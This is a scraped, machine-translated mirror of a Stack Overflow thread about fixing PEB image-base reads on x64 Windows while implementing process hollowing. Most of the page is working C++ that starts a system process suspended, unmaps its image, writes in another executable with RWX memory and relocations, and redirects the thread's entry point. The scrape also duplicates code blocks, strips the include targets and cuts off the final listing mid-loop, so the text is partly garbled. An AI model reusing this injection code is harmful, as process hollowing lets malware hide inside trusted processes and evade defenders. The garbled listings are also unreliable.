Warning: file_get_contents(/data/phpspider/zhask/data//catemap/6/cplusplus/130.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C++ Win32 ReadProcessMemory API的问题_C++_C_Winapi - Fatal编程技术网

C++ Win32 ReadProcessMemory API的问题

C++ Win32 ReadProcessMemory API的问题,c++,c,winapi,C++,C,Winapi,我正在编写一个简单的应用程序来执行进程空洞化,该程序启动一个64位进程,然后应用程序使用NtQueryInformationProcess获取PebBaseAddress,我尝试获取Peb的第6个成员,即BaseAddressofImage,但我得到返回的这个奇怪的地址不正确: pebImageBaseOffset为:0000000000000000 以下是我正在使用的代码: #include <iostream> #include <Windows.h> #includ

我正在编写一个简单的应用程序来执行进程空洞化,该程序启动一个64位进程,然后应用程序使用NtQueryInformationProcess获取PebBaseAddress,我尝试获取Peb的第6个成员,即BaseAddressofImage,但我得到返回的这个奇怪的地址不正确:

pebImageBaseOffset为:0000000000000000

以下是我正在使用的代码:

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <tchar.h>
#pragma comment(lib, "ntdll")

int main()
{
    // create destination process - this is the process to be hollowed out
    LPSTARTUPINFOA si = new STARTUPINFOA();
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();
    DWORD returnLenght = 0;
    CreateProcessA(NULL, (LPSTR)"c:\\windows\\system32\\calc.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
    HANDLE destProcess = pi->hProcess;

    // get destination imageBase offset address from the PEB
    NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
    DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 8;

    // get destination imageBaseAddress
    LPVOID destImageBase = 0;
    SIZE_T bytesRead = NULL;
    ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, 4, &bytesRead);
    std::cout << "pebImageBaseOffset is: " << destImageBase << std::endl;
    std::cin.get();
}
#包括
#包括
#包括
#包括
#pragma注释(lib,“ntdll”)
int main()
{
//创建目标进程-这是要挖空的进程
LPSTARTUPINFOA si=新的STARTUPINFOA();
LPPROCESS_INFORMATION pi=新流程_INFORMATION();
流程基本信息*pbi=新流程基本信息();
DWORD returnLenght=0;
CreateProcessA(NULL,(LPSTR)“c:\\windows\\system32\\calc.exe”,NULL,NULL,TRUE,创建挂起,NULL,NULL,si,pi);
HANDLE destProcess=pi->hProcess;
//从PEB获取目标imageBase偏移地址
NtQueryInformationProcess(destProcess、ProcessBasicInformation、pbi、sizeof(流程基本信息)和ReturnLength);
DWORD pebImageBaseOffset=(DWORD)pbi->PebBaseAddress+8;
//获取目标imageBaseAddress
LPVOID desimagebase=0;
SIZE\u T bytesRead=NULL;
ReadProcessMemory(destProcess,(LPCVOID)pebImageBaseOffset和destmagebase,4和bytesRead);

std::cout我遵循了上面的@Strive Sun-MSFT答案,得到了下面显示的代码。但是,我注意到,该代码仅在使用某些可执行文件时有效,例如,如果我从C:\Windows\System32中将calc.exe替换为cmd.exe,则会失败,当我在3个文件上运行file实用程序时,cmd.exe看起来确实略有不同与其他文件不同,这可能解释了它失败的原因,如果任何阅读本文的人确切知道这两个文件不兼容的原因,请让我知道

我怀疑这与:

“为了最大化兼容性,源图像的子系统应该设置为Windows。编译器应该使用运行库的静态版本来消除对Visual C++运行时DLL的依赖。这可以通过使用/MT或/MTD编译器选项来实现。源映像的地址必须与目标映像的地址匹配,或者源必须包含重定位表,并且需要将映像重定基址到目标的地址。出于兼容性原因,首选重定基址路由。/DYNAMICBASE或/FIXED:不能使用任何链接器选项来生成重定基址表…”

这是我最终使用的代码,但是@Straive sun的解决方案基本上也是我最终使用的

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <tchar.h>
#include "ntstatus.h"
#pragma comment(lib, "ntdll")

using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);

typedef NTSTATUS(NTAPI *pfnNtQueryInformationProcess)(
    IN  HANDLE ProcessHandle,
    IN  PROCESSINFOCLASS ProcessInformationClass,
    OUT PVOID ProcessInformation,
    IN  ULONG ProcessInformationLength,
    OUT PULONG ReturnLength    OPTIONAL
    );

typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress;
    DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

UINT_PTR GetPEBLocation(HANDLE hProcess)
{
    ULONG RequiredLen = 0;
    UINT_PTR PebAddress = NULL;
    PROCESS_BASIC_INFORMATION myProcessBasicInformation[5] = { 0 };

    if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, myProcessBasicInformation, sizeof(PROCESS_BASIC_INFORMATION), &RequiredLen) == STATUS_SUCCESS)
    {
        PebAddress = (UINT_PTR)myProcessBasicInformation->PebBaseAddress + 16;
    }
    else
    {
        if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, myProcessBasicInformation, RequiredLen, &RequiredLen) == STATUS_SUCCESS)
        {
            PebAddress = (UINT_PTR)myProcessBasicInformation->PebBaseAddress + 16;
        }
    }

    return PebAddress;
}

int main()
{
    // create destination process - this is the process to be hollowed out
    LPSTARTUPINFOA si = new STARTUPINFOA();
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();
    CreateProcessA(NULL, (LPSTR)"c:\\windows\\system32\\cleanmgr.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
    HANDLE destProcess = pi->hProcess;
    LPVOID destProcessImageBase = (LPVOID)GetPEBLocation(destProcess);
    std::cout << "PEB image base address is at: " << destProcessImageBase << std::endl;
    
    // get destination imageBaseAddress
    LPVOID destImageBase = NULL;
    SIZE_T bytesRead = NULL;
    ReadProcessMemory(destProcess, (LPVOID)destProcessImageBase, &destImageBase, 8, &bytesRead);
    std::cout << "Image base address is at: " << destImageBase << std::endl;


    // read source file - this is the file that will be executed inside the hollowed process
    HANDLE sourceFile = CreateFileA("c:\\windows\\system32\\calc.exe", GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
    SIZE_T sourceFileSize = GetFileSize(sourceFile, NULL);
    LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
    ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);

    // get source image size
    PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
    PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((ULONGLONG)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
    SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;
    std::cout << "LPVOID is: " << sizeof(LPVOID) << " DWORD is " << sizeof(DWORD) << " ULONGLONG is " << sizeof(ULONGLONG) << std::endl;
    // carve out the destination image
    NtUnmapViewOfSection myNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection"));
    myNtUnmapViewOfSection(destProcess, destImageBase);

    // allocate new memory in destination image for the source image
    LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    destImageBase = newDestImageBase;

    // get delta between sourceImageBaseAddress and destinationImageBaseAddress
    ULONGLONG deltaImageBase = (ULONGLONG)destImageBase - sourceImageNTHeaders->OptionalHeader.ImageBase;

    // set sourceImageBase to destImageBase and copy the source Image headers to the destination image
    sourceImageNTHeaders->OptionalHeader.ImageBase = (ULONGLONG)destImageBase;
    WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);

    // get pointer to first source image section
    PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((ULONGLONG)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS64));
    PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection;
    std::cout << "LPDWORD is: " << sizeof(LPDWORD) << std::endl;
    std::cout << "SIZE_T is: " << sizeof(SIZE_T) << std::endl;
    // copy source image sections to destination
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        PVOID destinationSectionLocation = (PVOID)((ULONGLONG)destImageBase + sourceImageSection->VirtualAddress);
        PVOID sourceSectionLocation = (PVOID)((ULONGLONG)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
        WriteProcessMemory(destProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
        sourceImageSection++;
    }

    // get address of the relocation table
    IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];




    // patch the binary with relocations
    sourceImageSection = sourceImageSectionOld;
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        BYTE* relocSectionName = (BYTE*)".reloc";
        if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0)
        {
            sourceImageSection++;
            continue;
        }

        ULONGLONG sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
        DWORD relocationOffset = 0;

        while (relocationOffset < relocationTable.Size) {
            PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((ULONGLONG)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
            relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
            DWORD relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
            PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((ULONGLONG)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);

            for (DWORD y = 0; y < relocationEntryCount; y++)
            {
                relocationOffset += sizeof(BASE_RELOCATION_ENTRY);

                if (relocationEntries[y].Type == 0)
                {
                    continue;
                }

                ULONGLONG patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset;
                ULONGLONG patchedBuffer = 0;
                ReadProcessMemory(destProcess, (LPCVOID)((ULONGLONG)destImageBase + patchAddress), &patchedBuffer, sizeof(ULONGLONG), &bytesRead);
                patchedBuffer += deltaImageBase;

                WriteProcessMemory(destProcess, (PVOID)((ULONGLONG)destImageBase + patchAddress), &patchedBuffer, sizeof(ULONGLONG),NULL);
                int a = GetLastError();
            }
        }
    }
    // get context of the dest process thread
    LPCONTEXT context = new CONTEXT();
    context->ContextFlags = CONTEXT_INTEGER;
    GetThreadContext(pi->hThread, context);

    // update dest image entry point to the new entry point of the source image and resume dest image thread
    ULONGLONG patchedEntryPoint = (ULONGLONG)destImageBase + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
    context->Rcx = patchedEntryPoint;
    SetThreadContext(pi->hThread, context);
    ResumeThread(pi->hThread);
    
    std::cin.get();
    return 0;
}
#包括
#包括
#包括
#包括
#包括“ntstatus.h”
#pragma注释(lib,“ntdll”)
使用NtUnmapViewOfSection=NTSTATUS(WINAPI*)(句柄,PVOID);
typedef NTSTATUS(NTAPI*pfnNtQueryInformationProcess)(
在handleprocesshandle中,
在PROCESSINFOCLASS ProcessInformationClass中,
输出PVOID进程信息,
在ULONG长度中,
出普隆返回长度可选
);
typedef结构基本块{
德沃德地址;
DWORD块大小;
}基地搬迁区、*基地搬迁区;
typedef结构基础\u重新定位\u条目{
USHORT偏移量:12;
乌舒特型:4;
}基地搬迁项目,*PBASE搬迁项目;
UINT_PTR GetPEBLocation(HANDLE hProcess)
{
ULONG RequiredLen=0;
UINT_PTR PebAddress=NULL;
进程基本信息myProcessBasicInformation[5]={0};
if(NtQueryInformationProcess(HPProcess、ProcessBasicInformation、myProcessBasicInformation、sizeof(PROCESS\u BASIC\u INFORMATION),&RequiredLen)=状态\u成功)
{
PebAddress=(UINT_PTR)myProcessBasicInformation->PebBaseAddress+16;
}
其他的
{
if(NtQueryInformationProcess(HPProcess、ProcessBasicInformation、myProcessBasicInformation、RequiredLen和RequiredLen)=状态\u成功)
{
PebAddress=(UINT_PTR)myProcessBasicInformation->PebBaseAddress+16;
}
}
返回地面;
}
int main()
{
//创建目标进程-这是要挖空的进程
LPSTARTUPINFOA si=新的STARTUPINFOA();
LPPROCESS_INFORMATION pi=新流程_INFORMATION();
流程基本信息*pbi=新流程基本信息();
CreateProcessA(NULL,(LPSTR)“c:\\windows\\system32\\cleanmgr.exe”,NULL,NULL,TRUE,CREATE\u SUSPENDED,NULL,NULL,si,pi);
HANDLE destProcess=pi->hProcess;
LPVOID destProcessImageBase=(LPVOID)GetPEBLocation(destProcess);
std::cout OptionalHeader.AddressOfEntryPoint;
context->Rcx=patchedEntryPoint;
SetThreadContext(pi->hThread,context);
恢复线程(pi->hThread);
std::cin.get();
返回0;
}

第一个代码示例:在
x64
下运行时,请使用
ULONG_PTR
,只要指针未被截断。偏移量需要更改为16(
ImageBaseAddress
在x86中位于PEB+8,在x64中位于PEB+16)

ReadProcessMemory
中,需要将4更改为8,即x64下的
ULONG_PTR
大小

根据x64

#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <tchar.h>
#pragma comment(lib, "ntdll")

int main()
{
    // create destination process - this is the process to be hollowed out
    LPSTARTUPINFOA si = new STARTUPINFOA();
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION();
    ULONG returnLenght = 0;
    CreateProcessA(NULL, (LPSTR)"c:\\windows\\system32\\calc.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
    HANDLE destProcess = pi->hProcess;

    // get destination imageBase offset address from the PEB
    NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
    ULONG_PTR  pebImageBaseOffset = (ULONG_PTR)pbi->PebBaseAddress + 16;

    // get destination imageBaseAddress
    LPVOID destImageBase = 0;
    SIZE_T bytesRead = NULL;
    ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, 8, &bytesRead);
    std::cout << "pebImageBaseOffset is: " << destImageBase << std::endl;
    std::cin.get();
}

绝对没有错误处理。这不是一个了解程序失败原因的好方法。好吧,这不是完全正确的。有两个调用
GetLastError
。但它们都返回不确定的值。为什么要将
PebBaseAddress
转换为DWORD以获得64位exe?@JonathanPotter,我尝试转换为未签名的long long相反,但这并没有真正的帮助…您的代码中还有其他类型转换,它们在64位中没有任何意义。从某处复制代码是可以的,但您应该亲自检查并尝试理解它。第一步,添加错误检查这是正确的,尽管您缺少代码的结尾…检查下面的“我的代码”并编辑您的代码因为它有更多的投票,谢谢你的支持
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <tchar.h>
#include "ntstatus.h"
#pragma comment(lib, "ntdll")

using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);

typedef NTSTATUS(NTAPI *pfnNtQueryInformationProcess)(
    IN  HANDLE ProcessHandle,
    IN  PROCESSINFOCLASS ProcessInformationClass,
    OUT PVOID ProcessInformation,
    IN  ULONG ProcessInformationLength,
    OUT PULONG ReturnLength    OPTIONAL
    );

typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress;
    DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

UINT_PTR GetPEBLocation(HANDLE hProcess)
{
    ULONG RequiredLen = 0;
    UINT_PTR PebAddress = NULL;
    PROCESS_BASIC_INFORMATION myProcessBasicInformation[5] = { 0 };

    if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, myProcessBasicInformation, sizeof(PROCESS_BASIC_INFORMATION), &RequiredLen) == STATUS_SUCCESS)
    {
        PebAddress = (UINT_PTR)myProcessBasicInformation->PebBaseAddress + 16;
    }
    else
    {
        if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, myProcessBasicInformation, RequiredLen, &RequiredLen) == STATUS_SUCCESS)
        {
            PebAddress = (UINT_PTR)myProcessBasicInformation->PebBaseAddress + 16;
        }
    }

    return PebAddress;
}

int main()
{
    // create destination process - this is the process to be hollowed out
    LPSTARTUPINFOA si = new STARTUPINFOA();
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();
    CreateProcessA(NULL, (LPSTR)"c:\\windows\\system32\\cleanmgr.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
    HANDLE destProcess = pi->hProcess;
    LPVOID destProcessImageBase = (LPVOID)GetPEBLocation(destProcess);
    std::cout << "PEB image base address is at: " << destProcessImageBase << std::endl;
    
    // get destination imageBaseAddress
    LPVOID destImageBase = NULL;
    SIZE_T bytesRead = NULL;
    ReadProcessMemory(destProcess, (LPVOID)destProcessImageBase, &destImageBase, 8, &bytesRead);
    std::cout << "Image base address is at: " << destImageBase << std::endl;


    // read source file - this is the file that will be executed inside the hollowed process
    HANDLE sourceFile = CreateFileA("c:\\windows\\system32\\calc.exe", GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
    SIZE_T sourceFileSize = GetFileSize(sourceFile, NULL);
    LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
    ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);

    // get source image size
    PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
    PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((ULONGLONG)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
    SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;
    std::cout << "LPVOID is: " << sizeof(LPVOID) << " DWORD is " << sizeof(DWORD) << " ULONGLONG is " << sizeof(ULONGLONG) << std::endl;
    // carve out the destination image
    NtUnmapViewOfSection myNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection"));
    myNtUnmapViewOfSection(destProcess, destImageBase);

    // allocate new memory in destination image for the source image
    LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    destImageBase = newDestImageBase;

    // get delta between sourceImageBaseAddress and destinationImageBaseAddress
    ULONGLONG deltaImageBase = (ULONGLONG)destImageBase - sourceImageNTHeaders->OptionalHeader.ImageBase;

    // set sourceImageBase to destImageBase and copy the source Image headers to the destination image
    sourceImageNTHeaders->OptionalHeader.ImageBase = (ULONGLONG)destImageBase;
    WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);

    // get pointer to first source image section
    PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((ULONGLONG)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS64));
    PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection;
    std::cout << "LPDWORD is: " << sizeof(LPDWORD) << std::endl;
    std::cout << "SIZE_T is: " << sizeof(SIZE_T) << std::endl;
    // copy source image sections to destination
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        PVOID destinationSectionLocation = (PVOID)((ULONGLONG)destImageBase + sourceImageSection->VirtualAddress);
        PVOID sourceSectionLocation = (PVOID)((ULONGLONG)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
        WriteProcessMemory(destProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
        sourceImageSection++;
    }

    // get address of the relocation table
    IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];




    // patch the binary with relocations
    sourceImageSection = sourceImageSectionOld;
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        BYTE* relocSectionName = (BYTE*)".reloc";
        if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0)
        {
            sourceImageSection++;
            continue;
        }

        ULONGLONG sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
        DWORD relocationOffset = 0;

        while (relocationOffset < relocationTable.Size) {
            PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((ULONGLONG)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
            relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
            DWORD relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
            PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((ULONGLONG)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);

            for (DWORD y = 0; y < relocationEntryCount; y++)
            {
                relocationOffset += sizeof(BASE_RELOCATION_ENTRY);

                if (relocationEntries[y].Type == 0)
                {
                    continue;
                }

                ULONGLONG patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset;
                ULONGLONG patchedBuffer = 0;
                ReadProcessMemory(destProcess, (LPCVOID)((ULONGLONG)destImageBase + patchAddress), &patchedBuffer, sizeof(ULONGLONG), &bytesRead);
                patchedBuffer += deltaImageBase;

                WriteProcessMemory(destProcess, (PVOID)((ULONGLONG)destImageBase + patchAddress), &patchedBuffer, sizeof(ULONGLONG),NULL);
                int a = GetLastError();
            }
        }
    }
    // get context of the dest process thread
    LPCONTEXT context = new CONTEXT();
    context->ContextFlags = CONTEXT_INTEGER;
    GetThreadContext(pi->hThread, context);

    // update dest image entry point to the new entry point of the source image and resume dest image thread
    ULONGLONG patchedEntryPoint = (ULONGLONG)destImageBase + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
    context->Rcx = patchedEntryPoint;
    SetThreadContext(pi->hThread, context);
    ResumeThread(pi->hThread);
    
    std::cin.get();
    return 0;
}
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <tchar.h>
#pragma comment(lib, "ntdll")

int main()
{
    // create destination process - this is the process to be hollowed out
    LPSTARTUPINFOA si = new STARTUPINFOA();
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION();
    ULONG returnLenght = 0;
    CreateProcessA(NULL, (LPSTR)"c:\\windows\\system32\\calc.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
    HANDLE destProcess = pi->hProcess;

    // get destination imageBase offset address from the PEB
    NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
    ULONG_PTR  pebImageBaseOffset = (ULONG_PTR)pbi->PebBaseAddress + 16;

    // get destination imageBaseAddress
    LPVOID destImageBase = 0;
    SIZE_T bytesRead = NULL;
    ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, 8, &bytesRead);
    std::cout << "pebImageBaseOffset is: " << destImageBase << std::endl;
    std::cin.get();
}
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll")

using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);

typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress;
    DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;


int main()
{
    // create destination process - this is the process to be hollowed out
    LPSTARTUPINFOA si = new STARTUPINFOA();
    LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    PROCESS_BASIC_INFORMATION* pbi = new PROCESS_BASIC_INFORMATION();
    ULONG returnLenght = 0;
    CreateProcessA(NULL, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
    HANDLE destProcess = pi->hProcess;
    
    // get destination imageBase offset address from the PEB
    NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
    ULONG_PTR pebImageBaseOffset = (ULONG_PTR)pbi->PebBaseAddress + 16;
  
    // get destination imageBaseAddress
    LPVOID destImageBase = 0;
    SIZE_T bytesRead = NULL;
    ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, sizeof(ULONG_PTR), &bytesRead);

    // read source file - this is the file that will be executed inside the hollowed process
    HANDLE sourceFile = CreateFileA("c:\\windows\\system32\\calc.exe", GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
    ULONG_PTR sourceFileSize = GetFileSize(sourceFile, NULL);
    SIZE_T fileBytesRead = 0;
    LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
    ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);

    // get source image size
    PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
    PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
    SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;

    // carve out the destination image
    NtUnmapViewOfSection myNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection"));
    myNtUnmapViewOfSection(destProcess, destImageBase);

    // allocate new memory in destination image for the source image
    LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    destImageBase = newDestImageBase;

    // get delta between sourceImageBaseAddress and destinationImageBaseAddress
    ULONG_PTR deltaImageBase = (ULONG_PTR)destImageBase - sourceImageNTHeaders->OptionalHeader.ImageBase;

    // set sourceImageBase to destImageBase and copy the source Image headers to the destination image
    sourceImageNTHeaders->OptionalHeader.ImageBase = (ULONG_PTR)destImageBase;
    WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
    // get pointer to first source image section
    PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((ULONG_PTR)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(_IMAGE_NT_HEADERS64)); //IMAGE_NT_HEADERS32
    PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection;

    // copy source image sections to destination
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        PVOID destinationSectionLocation = (PVOID)((ULONG_PTR)destImageBase + sourceImageSection->VirtualAddress);
        PVOID sourceSectionLocation = (PVOID)((ULONG_PTR)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
        WriteProcessMemory(destProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
        sourceImageSection++;
    }

    // get address of the relocation table
    IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

    // patch the binary with relocations
    sourceImageSection = sourceImageSectionOld;
    for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
    {
        BYTE* relocSectionName = (BYTE*)".reloc";
        if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0)
        {
            sourceImageSection++;
            continue;
        }

        ULONG_PTR sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
        ULONG_PTR relocationOffset = 0;

        while (relocationOffset < relocationTable.Size) {
            PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((ULONG_PTR)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
            relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
            ULONG_PTR relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
            PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((ULONG_PTR)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);

            for (ULONG_PTR y = 0; y < relocationEntryCount; y++)
            {
